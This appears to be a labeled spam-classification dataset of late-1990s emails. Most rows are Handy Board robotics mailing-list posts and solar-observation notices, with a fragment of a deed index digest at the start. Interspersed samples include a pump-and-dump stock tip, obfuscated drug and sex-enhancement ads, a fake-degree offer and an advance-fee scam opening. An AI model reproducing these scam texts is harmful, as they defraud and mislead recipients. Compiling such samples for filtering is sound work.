Brutus W Turner al-deed-30-461-Jan 9, 1884/Jan 30. 1884-61 1/2A Tates Creek. ------------------------------------------------------------------ Turner, al Helen/AC to Brutus W Turner-deed-30-461-Jan 9, 1884/Jan 30, 1884-61 1/2A Tates Creek. ------------------------------------------------------------------ Turner, al Harriet/A/Talton to Ann T Fife al-deed-30-461-Jan 9, 1844/Jan 30, 1884-61 1/2A Tates Creek. ------------------------------------------------------------------ Turner, al Helen/AC to Ann T Fife-deed-30-461-Jan 9, 1884/Jan 30, 1884-61 1/2A Tates Creek. ------------------------------------------------------------------ Turner, al Harriet/Talton to Ann Fife al-deed-30-463-Jan 7, 1883/Jan 30, 1884-110A Tates Creek. ------------------------------------------------------------------ Turner, al Harriet/Talton to Brutus W Turner al-deed-30-463-Jan 9, 1883/Jan 30, 1884-110A Tates Creek. ------------------------------------------------------------------ Turner, al Frank to Elizabeth Gibson-deed-31-366-Feb 9, 1884/Jan 3, 1885-25A Muddy Creek. ------------------------------------------------------------------ Turner, CS/Ettie M to TJ Smith al-deed-31-387-Jan 7, 1885/Jan 15, 1885-111 1/4A Silver Creek. ------------------------------------------------------------------ Turner, CS/ Ettie M to J Stone Walker al-deed-31-387-Jan 7, 1885/Jan 15, 1885-111 1/4A Silver Creek. ------------------------------------------------------------------ Turner, JJ/Mary E to AM White-deed-31-502-Jan 8, 1885/Mar 25, 1885-58 1/2A Taylors Fork Creek. ------------------------------------------------------------------ Turner, al Kate/Napoleon to Sally Hester-Comr D-31-570-Mar 30, 1885/Apr 20, 1885-20A Barnes Mill Road. ------------------------------------------------------------------ Turner, al George A/Molly to Thomas Turner-Comr D-32-156-Jun 3, 1885/Oct 26, 1885-32A Silver Creek. ------------------------------------------------------------------ Turner, al Kate/Napoleon to Kate & Thomas Jennings-Comr D-32-188-Mar 20, 1885/Nov 20, 1885-33 1/4A Madison Co. ------------------------------------------------------------------ Turner, al George Ann/Molly to Zachariah Whitaker-Comr D-32-485-Jun 3, 1885/Mar 25, 1886-32A Silver Creek. ------------------------------------------------------------------ Turner, Frank to Rebecca Holly-deed-33-10-Jun 7, 1886/Jun 12, 1886-10A Muddy Creek. ------------------------------------------------------------------ Turner, Talton to Burrell M Turner-Emancp-33-163-Oct 12, 1886/Oct 13, 1886-Emancipation. ------------------------------------------------------------------ Turner, al Manda Hrs/George A/Molly to Clifton Sanders-Comr D-33-345-Oct 1886/Feb 8, 1887-62A Silver Creek. ------------------------------------------------------------------ Turner, JJ/Mary E to Irvine Hains (Hanes)-deed-34-11-Jan 8, 1885/May 9, 1887-32 3/4A Taylors Fork Creek. ------------------------------------------------------------------ Turner, al CF/AV/Taiben to Amanda & James Hall al-Comr D-34-79-Jun 17, 1887/Jun 20, 1887-Lot Richmond. ------------------------------------------------------------------ Turner, al Brutus W/Ruth to William Tudor-deed-34-326-Oct 28, 1887/Oct 31, 1887-125 1/2A Tates Creek. ------------------------------------------------------------------ Turner, Kate/Napoleon to AR Burnam-Comr D-35-29-Mar 30, 1888/Apr 20, 1888-55A Silver Creek. ------------------------------------------------------------------ Turner, al Kate/Napoleon to William T Barnes-Comr D-35-40-Mar 30, 1885/Apr 23, 1888-54A Silver Creek. ------------------------------------------------------------------ Turner, al Lizzie W/Wayne to Curtis F Burnam-Comr D-35-462-Oct 15, 1888/Dec 13, 1888-52 3/4A Walnut Meadow Creek. ------------------------------------------------------------------ Turner, Mary T/Thomas to Samuel Long-deed-36-22-Oct 29, 1888/Feb 28, 1889-100A Silver Creek. ------------------------------------------------------------------ Turner, JJ/Mary E to Samuel P Ross-deed-36-203-Mar 22, 1889/Apr 13, 1889-60A Silver Creek. ------------------------------------------------------------------ Turner, al William J/Permelia to Mary Masters-Comr D-36-214-Apr 6, 1889/Apr 17, 1889-12 1/2A Silver Creek. ------------------------------------------------------------------ Turner, al William J/Permelia to DC Griggs-Comr D-36-225-Apr 6, 1889/Apr 22, 1889-Tract Madison Co. ------------------------------------------------------------------ Turner, al William/Permelia to Hettie Shrewsberry-Comr D-36-228-Apr 6, 1889/Apr 23, 1889-13A Silver Creek. ------------------------------------------------------------------ Turner, al William/Permelia to James W Griggs-Comr D-36-230-Apr 6, 1889/Apr 23, 1889-13 1/2A Silver Creek. ------------------------------------------------------------------ Turner, al William J/Permelia to Annie Griggs-Comr D-36-232-Apr 6, 1889/Apr 23, 1889-16 1/2A Silver Creek. ------------------------------------------------------------------ Turner, al William J to Permelia Turner-Comr D-36-235-Apr 6, 1889/Apr 23, 1889-14A Silver Creek. ------------------------------------------------------------------ Turner, Permilia/William J to D Clinton Griggs-deed-36-237-Apr 6, 1889/Mar 28, 1889-14A Silver Creek. ------------------------------------------------------------------ Turner, al Lizzie M/JW to Ned Blythe-Comr D-36-493-Mar 28, 1889/Jul 15, 1889-24A Paint Lick Creek. ------------------------------------------------------------------ Turner, al Lizzie Ann/J Wayne to Ned Blythe-Comr D-36-494-Jun 3, 1889/Jul 15, 1889-24 1/2A Paint Lick Creek. ------------------------------------------------------------------ Turner, William J/Permelia to Perry C Long-deed-36-591-Apr 6, 1889/Aug 21, 1889-10A Silver Creek. ------------------------------------------------------------------ Turner, James F Jr to Clalorn (Claborn) Fox-deed-37-217-Aug 7, 1888/Dec 17, 1889-32 3/4A Silver Creek. ------------------------------------------------------------------ Turner, Mary T/W Thomas to Salem Ross-deed-37-460-Feb 27, 1890/Mar 27, 1890-Tract Paint Lick Creek. ------------------------------------------------------------------ Turner, Squire Jr to Squire M Turner-deed-38-169-Aug 25, 1890/Sep 6, 1890-42A Paint Lick Creek. ------------------------------------------------------------------ Turner, al BH/CF/Talton to Stephen D Parish-Comr D-38-202-Oct 17, 1888/Sep 24, 1890-Lot Richmond. ------------------------------------------------------------------ Turner, al AC to Stephen D Parish-Comr D-38-202-Sep 24-1890-Lot Richmond. ------------------------------------------------------------------ Turner, Lewis/Tabitha to Squire W Jennings-deed-38-425-Jan 10, 1891-25 1/2A Tates Creek. ------------------------------------------------------------------ Turner, al Kate/Napoleon to Cyrus Barnes-Comr D-38-555-Mar 30, 1885/Feb 18, 1891-42A Madison Co. ------------------------------------------------------------------ --part0_888116693_boundary-- -------------------------------- End of btrvetc-d Digest V98 Issue #10 *************************************",0,0 Fred G Martin ,handyboard@media.mit.edu,"Tue, 17 Feb 1998 09:44:00 -0500",1998 MIT LEGO Robot Design Contest videos on-line,"Hi everyone, Quicktime and RealVideos of this year's contest highlights can be had at http://www-caes.mit.edu/mvp/html/6270contest.html Fred ",0,1 Stephen Michael ,Stacker ,"Tue, 17 Feb 1998 08:22:58 -0700",Re: IC 3.x Reg Code,"Newtonlabs will give you one if you ask them. ic@newtonlabs.com Stacker wrote: > > Does anyone have a temp 3 week reg code for IC 3.x that I could use?? Im having problems loading the frequency measuring routinues provided on this mailing list and I believe it might be because I'm still using IC 2.8 and the routines have been tested and used on IC 3.x. I dont want to have to put up $35 for the reg if it wont solve my problems. Thanks. > > Joshua Stark > j-stark@uiuc.edu > Aspiring Computer Engineering Major -- Stephen Michael, Senior Manager MCI E-Tel Development Voice: 719-535-7904 / VNET 622-7904 Pager: 800-PAGE-MCI, Pin# 192-4213 ",0,0 roneill@thorung.eeng.dcu.ie,handyboard@media.mit.edu,"Tue, 17 Feb 1998 22:20:00 +0000",,"I'm just wondering, is the ""charge"" LED supposed to come on on the I/C board when you're running code on the Handy-Board? I don't think it should, but I'm not sure. Thanks, Rob O' Neill ",0,0 """Fred G. Martin"" ",roneill@thorung.eeng.dcu.ie,"Tue, 17 Feb 1998 18:54:31 -0500",,"assuming the battery is not yet connected (which would be the case of you're building the HB and following the directions), the charge LED means that the HB is drawing some current. fred In your message you said: > I'm just wondering, is the ""charge"" LED supposed to come on on the I/C > board when you're running code on the Handy-Board? I don't think it should, > but I'm not sure. > Thanks, > Rob O' Neill > ",0,0 Stacker ,"""'handyboard@media.mit.edu'"" ","Wed, 18 Feb 1998 00:16:56 -0600",Pulsewidth Functions," Does anyone know if you need IC 3.x to run the pulsewidth measuring functions provided by Thomas Hauri?? Joshua Stark j-stark@uiuc.edu Aspiring Computer Engineering Major ",0,0 aipviib ,"handyboard@media.mit.edu, lillian@media.mit.edu, leigh@media.mit.edu","Wed, 18 Feb 1998 06:38:47 +0100",Your PR man [N E W S WEEK STARTING MONDAY it is] Josephus conclude germ,"GAPJ- GOLDEN APPLE OIL/GAS This weeks Pick, Company already has solid potential Current Price: $ 0.50 5 Day Projected : $ 1.50 Golden Apple Oil and Gas, Inc. and Franklin Ross Securities Complete Private Placement Golden Apple Oil and Gas, Inc. (GAPJ - News) is pleased to announce it has completed the initial private placement with Franklin Ross Securities of New Jersey. The terms of the deal provide for Franklin Ross to purchase 181,818 shares of Golden Apple Oil and Gas, Inc. restricted stock priced at .10 per share. The company is currently negotiating with several investor groups for the next phase of financing. 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This looks very lucrative in coming weeks, Get GAPJ First Thing Monday executor acknowledgments condiment mismatched darning Sandburg cachalot fray alkane bricks colt's merging enshroud disassembled earsplitting fray daffodils follows attained droop encouraged inferences flashy determines acknowledgments Williamson burlesques intersected miscellaneousness kiloton fray mismatched contrivances diverting discord discuss closers cachalot",1,0 Brett Anthony ,handyboard@media.mit.edu,"Wed, 18 Feb 1998 11:04:07 -0800",Thanks Fred et al...," My first scratch-built HamdyBoard has passed all of it's tests and is up and running. I've only been looking for something like this for about twelve years, so I'm REAL happy. I especially appreciate the emphasis on both hardware and software development in the HB program, and your continued support of the community. Again, thanks. Other notes: BG Micro (www.bgmicro.com) has a quantity of 'A1FN chips for 6.95 each. These are used, and look it, but the three I bought seem to work. If you're running HBDL in Windows and have trouble configuring the register at 0x0C, try running the DL.EXE that comes with shareware IC from the DOS prompt. I also have 6 extra IS1U60's available at cost plus postage if anyone is interested. Brett Anthony Research Technician School of Engineering and Computer Science California State University, Sacramento e-mail: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949 address: Brett Anthony E&CS, CSUS 6000 J St Sacramento CA 95819-6023 ",0,0 Chris Osborn ,"""Kevin B. Smith"" ","Wed, 18 Feb 1998 11:56:26 -0800",Re: Expanding the memory of the handyboard,"On Feb. 16 98, 18:34 PST, ""Kevin B. Smith"" wrote: > They determined the ID of the pallet from a barcode label. How did the board read the barcode label? What equipment/algorithm was used? I've been screwing around with a train, and haven't really had any luck with reading a barcode from the track as it passes over. --- Chris Osborn FozzTexx Enterprises 707 226 7629 - Voice 2136 Coronado Ave. 707 253 3063 - Fax Napa, CA 94559",0,1 """Kevin B. Smith"" ","'Chris Osborn' , ""Kevin B. Smith"" ","Wed, 18 Feb 1998 18:34:28 -0700",RE: Expanding the memory of the handyboard,"We used OEM barcode reader (IS4120-41 scanner decode engine) from Metrologic Instruments, Inc.. The output of this reader is the barcode ASCII format transmitted across an RS232 line. We read this with the handy board's RS232 serial port. You can slow down the data transmission on the barcode reader so that you do not have to use interrupt driven software on the handyboard's side. However, in our competition seeing the barcode was frequently an asynchronous event and an interrupt driven approach worked the best. They are only about an 1.5""x1.5""x0.5"" in size and they worked great. The address for the barcode reader supplier follows: Contact: Susan Kiesel Sales / Tech support Metrologic Instruments, Inc. Coles Road @ Route 42 BlackWood, New Jersey 08012 (609) 228-8200 (609) 228-6673 http://www.metrologic.com I hope that helps. Kevin -----Original Message----- From: Chris Osborn [SMTP:fozztexx@fozztexx.com] Sent: Wednesday, February 18, 1998 12:56 PM To: Kevin B. Smith Cc: 'handyboard@media.mit.edu' Subject: Re: Expanding the memory of the handyboard On Feb. 16 98, 18:34 PST, ""Kevin B. Smith"" wrote: > They determined the ID of the pallet from a barcode label. How did the board read the barcode label? What equipment/algorithm was used? I've been screwing around with a train, and haven't really had any luck with reading a barcode from the track as it passes over. --- Chris Osborn FozzTexx Enterprises 707 226 7629 - Voice 2136 Coronado Ave. 707 253 3063 - Fax Napa, CA 94559",0,1 Veasna Whitelow ,handyboard@media.mit.edu,"Wed, 18 Feb 1998 16:59:36 -0700",Re: VtAGuRA news,"Hi, V V C X A L P A I I a m e r L A A n b v o I G L a i i z U R I x e t a M A S n r c a http://www.popuariso.com kilometers. Hes been there before. Those places must have tight security, said Bourne. He cant just walk inside. He already has, corrected the KGB officer from Paris. I mean into restricted areas-like storerooms filled with weapons. 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The error messages are: - Init board HB 7.2 modem ""Time out"" - 6811 Downloader ""sinchronizing failed"" The HB is made by Gleason research and is tested. I,ve used the HB 3 months ago and it worked right (with another computer , macintosh quadra). Please tell me any solutions. Thanks ",0,0 """Alan L. Kiplinger"" ",solcoord-send@proton.sel.noaa.gov,"Thu, 19 Feb 1998 14:26:03 -0700","NEW CME OBSERVATIONS- VLA observations on Feb 21, 23, 24 & 28","From: Gopalswamy Subject: upcoming VLA observations SCIENTIFIC OBJECTIVES: We plan to image coronal mass ejections and associated metric type II and type IV radio bursts and compare them with the SOHO/ LASCO and EIT and ground-based observations in order to better understand solar eruptive phenomena. The primary goals are to learn more about the relationships between shock waves, flares and coronal mass ejections. We will explore the relation between thermal and nonthermal plasmas during the eruptions. The radio and coronal white light images will both be used to determine CME masses and the results from the two wavelength regeimes will be compared. OBSERVING PLANS: The VLA will observe at 327 and 74.5 MHz. At these frequencies the VLA field of view is very large (2.25 deg at 327 MHz and 10 deg at 74.5 MHz), so the disk center is the target for the Very Large Array. Instruments with limited fields of view should target active filaments. The SOONSPOT system of USAF telescopes will be targeting filaments for these observations. SOONSPOT targeting will occur by 21:00 UT on the days prior to VLA observations. It is our intention to broadcast those targets to help guide limited field of view instruments. VLA OBSERVING SCHEDULE: Feb 21, 1998 15:05:08 - 23:05:08 UT Feb 23, 1998 14:57:16 - 22:57:16 UT Feb 24, 1998 15:23:15 - 23:23:15 UT Feb 28, 1998 14:37:37 - 22:37:37 UT",0,0 German Madinabeitia ,HANDYBOARD ,"Thu, 19 Feb 1998 18:34:54 +0200",downloaded,"Finaly I have got to download pcload in my HB!!!! You are rigth, I´ve load in a Macintosh CI. Now with IC system in the board, I can work in my Mac G3. ?:-( . Fred, thanks for all. I am trying to buy the key password for IC 3.1, but is impossible, in Newton labs no answer my E-mails. ¿Is it possible to buy the password key for IC 3.1 (Mac) in another place? ",0,0 VARTANIAN Laurent ,"'German Madinabeitia' , HANDYBOARD ","Fri, 20 Feb 1998 12:10:05 +0100",RE: downloaded,"I have the same problem too. I sent thousands of e-mail to newton labs without any answer. Could someone help ? Thanks. > -----Message d'origine----- > De: German Madinabeitia [SMTP:german@siapi.es] > Date: jeudi 19 février 1998 17:35 > À: HANDYBOARD > Objet: downloaded > > Finaly I have got to download pcload in my HB!!!! > You are rigth, I´ve load in a Macintosh CI. > Now with IC system in the board, I can work in my Mac G3. ?:-( . > Fred, thanks for all. > > I am trying to buy the key password for IC 3.1, but is impossible, in > Newton labs no answer my E-mails. > > ¿Is it possible to buy the password key for IC 3.1 (Mac) in another > place? ",0,0 Lenard Griggs ,handyboard@media.mit.edu,"Fri, 20 Feb 1998 07:27:12 -0100",All products for your health!,"http://lilvjp.vontresf.com/?70878501 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! Great choice of wonderful meds to give you long-awaited relief! Operative support, fast shipping, secure p@yment processing and complete confidentiality! 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Martin"" ",VARTANIAN Laurent ,"Fri, 20 Feb 1998 08:32:17 -0500",Re: downloaded ," > I have the same problem too. I sent thousands of e-mail to newton labs > without any answer. Laurent -- just to be clear -- your problem is that you can't bootstrap your board from a G3 Mac, but after you do get it booted, everything's OK? Fred ",0,0 Randy Sargent ,handyboard@media.mit.edu,"Fri, 20 Feb 1998 08:49:26 -0800",IC 3.2 announcement,"After seeing some of the recent e-mail to this list, I realize that we should send out the following announcement to the Handyboard list. IC 3.2 for Windows fixes the problems that a percentage of folks reported about pcode download problems. --------------------------------------- Newton Research Labs is pleased to announce Interactive C 3.2 for Windows 95/NT. Users of IC 3.1 for Windows 95 and Window NT are encouraged to download IC 3.2 free of charge. Your IC 3.1 licenses are also valid for IC 3.2. The new version includes minor enhancements and bug fixes, including: * A ""Go To Line"" menu item, * Improved reliability for the initial download of pcode; IC will no longer incorrectly complain about the Config register on certain machines, * The interaction window can no longer be resized to zero size, and * A standard windows installation program makes installation easier. Newton Labs is not releasing a new version of IC for UNIX and Macintosh, as the bugs are Windows-specific. Please visit the following web page to download IC 3.2 for Windows 95/NT: http://www.newtonlabs.com/ic/ic_download.html The development team wishes to thank all the customers whose feedback have helped make Interactive C the best integrated development environment for Rug Warrior, Rug Warrior Pro, Handyboard, and MIT Lego Robot Controller Board. ",0,1 Randy Sargent ,"'German Madinabeitia' , VARTANIAN Laurent ","Fri, 20 Feb 1998 09:07:25 -0800",Ordering IC,"Dear Laurent and German, I wish to publicly apologize for Newton Lab's slowness of response to your messages of last fall. You should know that the employee in charge of handling IC sales and support during that time is no longer with the company. Please send IC sales requests to ""sales@newtonlabs.com"" or ""support@newtonlabs.com"" to prevent your messages going to an unread mail spool. (I only have one message from either of you in the last month, and that was from German on Wednesday asking to purchase a copy of IC 3.1). Furthermore, as you know we have been waiting for some time to be able to take credit cards, which makes purchasing much more convenient for overseas customers who do not wish to go through the trouble to generate a money order in U.S. funds. As of yesterday we are now (finally) able to accept credit cards for IC purchase -- our bank took a lot longer than we were originally led to believe. This should make overseas purchases like your own much easier in the future. Again, I apologize for these two problems last fall, and I invite you to try our service again. -- Randy ",0,0 Italus Mohammed ,handyboard@media.mit.edu,"Fri, 20 Feb 1998 10:50:13 -0700",Re: your VttAGRA,"Hi L A V C P V X e m A I r I a v b L A o A n i i I L z G a t e U I a R x ra n M S c A http://www.oftaribalok.com Bilbo felt that it was unsafe to shout, and he stood a long while wondering in what direction the path lay, and in what direction he should go first to look for the dwarves. O! why did we not remember Beorns advice, and Gandalfs! he lamented. What a mess we are in now! We! I only wish it was we: it is horrible being all alone. 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(that's what happens if you get it wrong) fred >Subject: RJ11 cable >Sent: 2/23/98 12:17 AM >Received: 2/22/98 9:46 PM >From: MAR ERICSON, mar@cooper.edu >To: handyboard@media.mit.edu > >Is the cable supposed to be ""null-modem""? > >----------- >ericson mar >Master of Engineering Candidate >Project: Mobile Robotics >mar@cooper.edu >(212)353-4356 > >Department of Mechanical Engineering >The Cooper Union for the Advancement of Science and Art >------------------------------------------------------- > > ",0,0 Berry Bland ,handyboard@media.mit.edu,"Tue, 24 Feb 1998 15:05:59 +0600",Re[22]:,"-Icrease Your Sexual Desire and Sperm volume by 500% -Longer orgasms - The longest most intense orgasms of your life -Rock hard erections - Erections like steel -Ejaculate like a porn star - Stronger ejaculation -Multiple orgasms - Cum again and again -SPUR-M is The Newest and The Safest Way of Pharmacy -100% Natural and No Side Effects - in contrast to well-known brands. -Experience three times longer orgasms -World Wide shipping within 24 hours Clisk here http://www.radshodeh.info hallow chambermaid moan stubby decreeing chuckwalla groton impel mark haste dwindle drawbridge russula biology donna phosphoresce orestes incontrovertible hoosegow pater barkeep mourn artery dulcet chauncey oceanographer pharmacy desecrater adventitious crump wasserman privacy hello phelps meadowland congressmen laissez conservative port benelux glossolalia inflame depressible rice proviso lens musicology predominate scutum swore squamous jurisprudent neanderthal dogberry ",1,1 Bruce Given ,handyboard@media.mit.edu,"Mon, 23 Feb 1998 09:48:32 -0500",Please unsubscribe ," Hi Please unsubscribe me from this list regards Bruce ",0,0 rina@softhome.net,handyboard@media.mit.edu,"Tue, 24 Feb 1998 00:21:31 +0800",unsubscribe,"Hi Please unsubscribe me from this list regards Rina ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Mon, 23 Feb 1998 13:27:47 -0500",HOW TO UNSUBSCRIBE,"1. Please *DO NOT* send unsubscribe messages to the handy board mailing list. 2. Instead, send unsubscribe messages to Fred Martin, fredm@media.mit.edu. 3. The only person who can unsubscribe you is Fred Martin, fredm@media.mit.edu. 4. Thank you. Fred ",0,0 Guillaume Abbe ,handyboard@media.mit.edu,"Mon, 23 Feb 1998 19:36:15 +0100",Add me,"Hi from Paris, please add me to the Handy Board mailing list. e-mail : gab@biomath.jussieu.fr Thanks :-) ",0,0 jluijk ,'Handyboard Mailing List' ,"Mon, 23 Feb 1998 20:38:26 +0000",Sonar kits,"Hallo, I am thinking about buying one of these things: Designer's Kit: 1 transducer, 1 ranging module, electronics display accurate to 1/10th meter. Cost is $169 OEM kit: 2 transducers, 2 ranging modules. $99. or: #01, Transducer and Sonar Module Kit: $50 each PDF Data Sheet Two or more kits: $47 each The kit includes one 6500 Board, one 600 Series Transducer, cabling, and a data sheet. What do I need to work with the schematics and the software I found at the HB site ? Does anybody know of a vendor in the Netherlands ? Or cheaper, different solutions to measure distance and proximity ? Thanks in advance. Jan. ",0,0 jluijk ,'Handyboard Mailing List' ,"Mon, 23 Feb 1998 20:40:13 +0000",Sonar,"Hi WW, is your sonar a Polaroid 6500 series or something else ? Where did you get it ? What did you pay for it ? Thanks, Jan (Giovanni). ",0,0 """Sonam Chauhan (CS)"" ","""Fred G. Martin"" ","Mon, 23 Feb 1998 15:22:14 -0500",UNSUBSCRIBE,"Can you unsubscribe me please: My address is chauhan@csee.usf.edu Regards Sonam On Mon, 23 Feb 1998, Fred G. Martin wrote: > 1. Please *DO NOT* send unsubscribe messages to the handy board > mailing list. > > 2. Instead, send unsubscribe messages to Fred Martin, > fredm@media.mit.edu. > > 3. The only person who can unsubscribe you is Fred Martin, > fredm@media.mit.edu. > > 4. Thank you. > > Fred > - Sonam Chauhan ------------------------------------------------ WWW Homepage: http://www.csee.usf.edu/~chauhan Email: sonam@acm.org Phone: (1-813) 6151435 ------------------------------------------------ ",0,1 Kevan Hunter ,handyboard@media.mit.edu,"Mon, 23 Feb 1998 18:20:26 -0200",Gerald Jacob," tvdeg R N L N S G T t O W M M W C P S A V X o ow o hi et ak ak ur ei us en om ho ai le nt i - V mor est Pri ppe yo e a ing on ght cle 's en' les n R ep i D s isi e l Pr or d o ur st ad lin Lo Re Hea s H ter eli Pro epr i t t Ou ong ices Pres ut t Medi ep i vant e Dr ss laxe lth ealt ol ef blem essi O r On doct Gua crip o yo cine nto age ugst < rs < < h < < < s < on < u r li or ra ti u O th of or Me Za Vi Cl Me Ce Am Pa S ne v nt on wi nl e o e ri na ag om va le bi xi i Dru isit eed! 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Cost is $169 > OEM kit: > 2 transducers, 2 ranging modules. $99. > >or: > >#01, Transducer and Sonar Module Kit: $50 each PDF Data Sheet >Two or more kits: $47 each I would recommend buying the one transducer and module for $50. The extra circuit that you would get with the designer's kit is totally unnecessary if you have the Handy Board already. You only save a few dollars by buying more than one unit, and hooking up the second might be tricky. You might want to try out just one at first. One sonar unit is easy enough to connect using the instructions on the Handy Board web site. I'm looking into ways to connect a second unit. I would certainly appreciate any suggestions from others on how to do that. I would like to use as few input/output ports as possible, perhaps by sharing the BINH or ECHO signals between the two (alternating between the two units as necessary). My biggest concern is whether the ECHO signal put out by one of the units will harm the other unit, if the two are simply connected in parallel to the same TIC port. Can anyone tell me about that? Thanks a bunch. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, America's one of the finest countries Will Bain, anyone ever stole. & Tatoosh --Bobcat Goldthwait ",0,0 Audette Clarissa ,handyboard@media.mit.edu,"Tue, 24 Feb 1998 00:55:23 -0500",What's happening in fitness world?,"may category , axisymmetric on pap in regressive in demagnify ",1,0 """Alan L. Kiplinger"" ",solcoord-send@proton.sel.noaa.gov,"Tue, 24 Feb 1998 09:29:36 -0700",VLA CME observations on Feb.24 ," The Very Large Array continues to observe the full sun on Feb.24 from 15:23-23:23 UT. RECENT ACTIVITY: Yesterday during the VLA observing period, the selected target filament erupted around 21:00 UT. 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As we discussed, I like it very much. I think you will have some very interesting results. Some further comments: 1. Since compression is not your major emphasis, it is ok to use off-the-shelf codec. Note that you can compress video into bitstreams off-line. For your experiments, you will then packets the bitstream and send the packets out, in which the exact scheme/parameters will be adaptive to the network traffic. 2. As I mentioned, I hope you will also study also the error resilience issues at the decoder. For the mid-term, I suggest you show a working MPEG2 video coding with offline encoding, real-time transmission over the network, and perhaps real-time decoding. Good luck! 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As far as I can tell, it's the same item. --Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, There's a fine line between fishing and Will Bain, just standing on the shore like an idiot. & Tatoosh --Steven Wright ",0,1 Alma Haywood ,handyboard@media.mit.edu,"Wed, 25 Feb 1998 04:39:31 -0400",How To Multiple Cum QiLJE," Suffering from short penniss? Introduce revolution ""Longz"" formula which gauranteees sizes increase or moneey baack. Users reported: - 2 inches extra in size - 3x pleasurable orgasms - 27% thicker Why waiting? http://maxx14.hbshop.biz fbkto ",1,1 Fannie Hightower ,handyboard@media.mit.edu,"Wed, 25 Feb 1998 04:20:43 -0400",USTA making major breakthroughs,"Stuck working a job you hate? Wish you had a college degree? No problem. Get one today without having to goto class or taking exams! Call us anytime 24/7 at (928) 496-2805 for more information. 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I have written a kludge to simply re-pulse if it receives such a result, which works fine, but it's ugly and I'm just treating the symptom, not the cause. Any ideas why this is? (I'm using sonar_closeup(), BTW) 4: I'm confused by the guts of the sonar routines. The start_time is read from the system TCNT register as a 16-bit integer (max 32768 counts). If TCNT increments 2,000,000 counts/sec, does this mean TCNT rolls over every 16ms? If so, it seems quite likely that the counter will roll over while we're waiting for a pulse to return depending on when we peek it for the start_time. However, the routines work fine, so can someone please clear up my misunderstanding? Cheers! Skye. +-----------------------------------------+----------------------------+ | Skye Legon | University of Waterloo | | Systems Design Engineering | __/ __/ __/ __/ | | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | | +1(519)888-9249 | ______/ ___/ \\___/ | | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | +-----------------------------------------+----------------------------+ ",0,0 MAR ERICSON ,Skye Legon ,"Wed, 25 Feb 1998 21:47:09 -0500",Re: Sonar questions (technical ones!),"My sonar seems to be pretty accurate. I would notice a 25% difference. ??? Check your calculations. Maybe you missed something. ----------- ericson mar Master of Engineering Candidate Project: Mobile Robotics mar@cooper.edu (212)353-4356 Department of Mechanical Engineering The Cooper Union for the Advancement of Science and Art ------------------------------------------------------- On Wed, 25 Feb 1998, Skye Legon wrote: > Hello everyone, > > A few sonar questions (other than where to buy them): > > 1: The speed of sound has been widely quoted to be 0.9 ft/ms (274m/s), > but my Physics text lists it as 343 m/s (at 20C/70F), which is about > 1.13 ft/ms, or 25% faster. So why the 0.9 value (or just cuz > the Polaroid guys say so)? > > 2: The sonar routines (e.g. sonar_sample()) return the distance as an > int, meaning the greatest round-trip distance possible is 32768 > half-microsecs, or 8192 microsecs one-way. By my math, 8.2ms is > about 3m (10 ft). Is this our max distance? Any way to improve > this? > > 3: My sonar works well, but about 10% of the time it returns a spurious > low value (around 2200 counts/8 inches), even if nothing has moved > or changed in the environment. I have written a kludge to simply > re-pulse if it receives such a result, which works fine, but it's > ugly and I'm just treating the symptom, not the cause. Any ideas > why this is? (I'm using sonar_closeup(), BTW) > > 4: I'm confused by the guts of the sonar routines. The start_time is > read from the system TCNT register as a 16-bit integer (max 32768 > counts). If TCNT increments 2,000,000 counts/sec, does this mean > TCNT rolls over every 16ms? If so, it seems quite likely that the > counter will roll over while we're waiting for a pulse to return > depending on when we peek it for the start_time. However, the > routines work fine, so can someone please clear up my > misunderstanding? > > Cheers! Skye. > > +-----------------------------------------+----------------------------+ > | Skye Legon | University of Waterloo | > | Systems Design Engineering | __/ __/ __/ __/ | > | Pattern Analysis & Machine Intelligence | __/ __/ __/ __/ __/ | > | 143 Columbia St. West, Unit E-4 | __/ __/ __/ ____/ __/ | > | Waterloo Ontario CANADA N2L 3L2 | __/__/__/ __/__/\\__/__/ | > | +1(519)888-9249 | ______/ ___/ \\___/ | > | slegon@uwaterloo.ca | DC 2620, 888-4567 x5192 | > +-----------------------------------------+----------------------------+ > > ",0,0 """Jeremy A. Green"" ",handyboard@media.mit.edu,"Thu, 26 Feb 1998 00:37:29 -0500",Serial problems,"Hello, I am trying to get my handyboard working after it has been in a box for a long time. It used to work flawlessly but now I am having trouble downloading the pcode. I did all of the checks for the serial/charger board in the assembly instructions and it seems to be working fine (The Max232 is outputing 9.59 & -9.59) and the LED flickers appropriately. I run the download app and the light on the serial board flickers and the green LED on the handyboard lights (after being off for bootstrap mode) and I get the following output from the downloader: Please place board in download mode and press RETURN To quit, press Q For help, press H Downloading 256 byte bootstrap (229 data) ................................................................ ................................................................ ................................................................ .....................................___________________________ Timeout on serial receive. 256 chars left to receive Perhaps the board was not connected properly or not in download mode I have tried everything I can think of. I have used about a million different phone cords. I've tried different options for the downloader. I've tried 2 different macs & a PC. I used all the different downloaders I could find. No dice... Does anyone have any suggestions? I've gone over the serial board, it seems ok. Where should I start looking on the handyboard for problems? Thanks, -Jeremy _______________________________________________________________ Jeremy Green jag@world.std.com jag@brownout.com http://www.brownout.com mailto:jag@brownout.com ",0,1 """MRS. JANET GARANG"" ",handyboard@media.mit.edu,"Thu, 26 Feb 1998 07:44:39 +0700",GIVE THIS AN URGENT ATTENTION PLS.lllll,"Dear Sir, In the first place I wish to introduce my self to you I am Mrs. Janet Garang, the wife of Lieutenant Colonel John Garang Hinga the Leader of Sudanese People's Liberation Movement (SPLM) one of the leading political parties in Sudan, which was formed, in 1983. My late husband died during the out brake of the recent civil war in Sudan. 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Daily Solutions Monthly Newsletter Subscriber: Juanita-139 ",1,0 